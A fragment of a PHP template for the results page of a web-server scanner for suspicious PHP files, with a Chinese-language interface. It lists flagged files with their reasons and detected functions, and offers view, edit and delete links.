                        <?php if (containsChinese($r['file'])): ?>
                        <span style="background: #ffc107; color: #333; padding: 2px 5px; border-radius: 3px; font-size: 12px; margin-left: 5px;">中文字符</span>
                        <?php endif; ?>
                    </div>
                    <div class="reasons"><?php echo implode('<br>', array_map('htmlspecialchars', $r['reasons'])); ?></div>
                    <?php if (!empty($r['functions'])): ?>
                    <div class="function-list">检测到: <?php echo htmlspecialchars(implode(', ', array_slice($r['functions'], 0, 10))); ?></div>
                    <?php endif; ?>
                    <div class="file-actions">
                        <a href="?act=scan&view=<?php echo urlencode($r['file']); ?>&dir=<?php echo urlencode($dir); ?>&risk=<?php echo urlencode($risk_filter); ?>&chinese=<?php echo urlencode($chinese_filter); ?>&min_score=<?php echo urlencode($min_score); ?>&max_score=<?php echo urlencode($max_score); ?>&name_filter=<?php echo urlencode($name_filter); ?>&content_filter=<?php echo urlencode($content_filter); ?>">👁️ 查看</a>
                        <a href="javascript:void(0)" onclick="deleteFile('<?php echo addslashes($r['file']); ?>')" style="background: #dc3545;">🗑️ 删除</a>
                        <a href="?act=edit&file=<?php echo urlencode($r['file']); ?>&dir=<?php echo urlencode(dirname($r['file'])); ?>">✏️ 编辑</a>
                    </div>
                </div>
                <?php endforeach; ?>
            </form>

<?php if (count($filtered_results) == 0): ?>
            <div class="no-results">
                <h2>🔍 筛选后未发现匹配的文件</h2>
                <p>当前筛选条件下没有找到符合条件的文件</p>
                <p style="margin-top: 20px;"><button onclick="clearFilter()" style="padding: 8px 15px; background: #06c; color: white; border: none; border-radius: 3px; cursor: pointer;">🔄 清除筛选条件</button></p>
            </div>
            <?php endif; ?>

<?php } else { ?>
            <div class="no-results">
                <h2>✅ 扫描完成，未发现可疑文件</h2>
                <p>扫描了 <?php echo $scanned_files; ?> 个PHP文件，共 <?php echo $total_files; ?> 个文件</p>
                <p style="margin-top: 20px;"><a href="?act=list&dir=<?php echo urlencode($dir); ?>" style="color: #0066cc;">返回文件管理</a></p>
            </div>
        <?php } ?>
    </body>
    </html>
    <?php
}
?>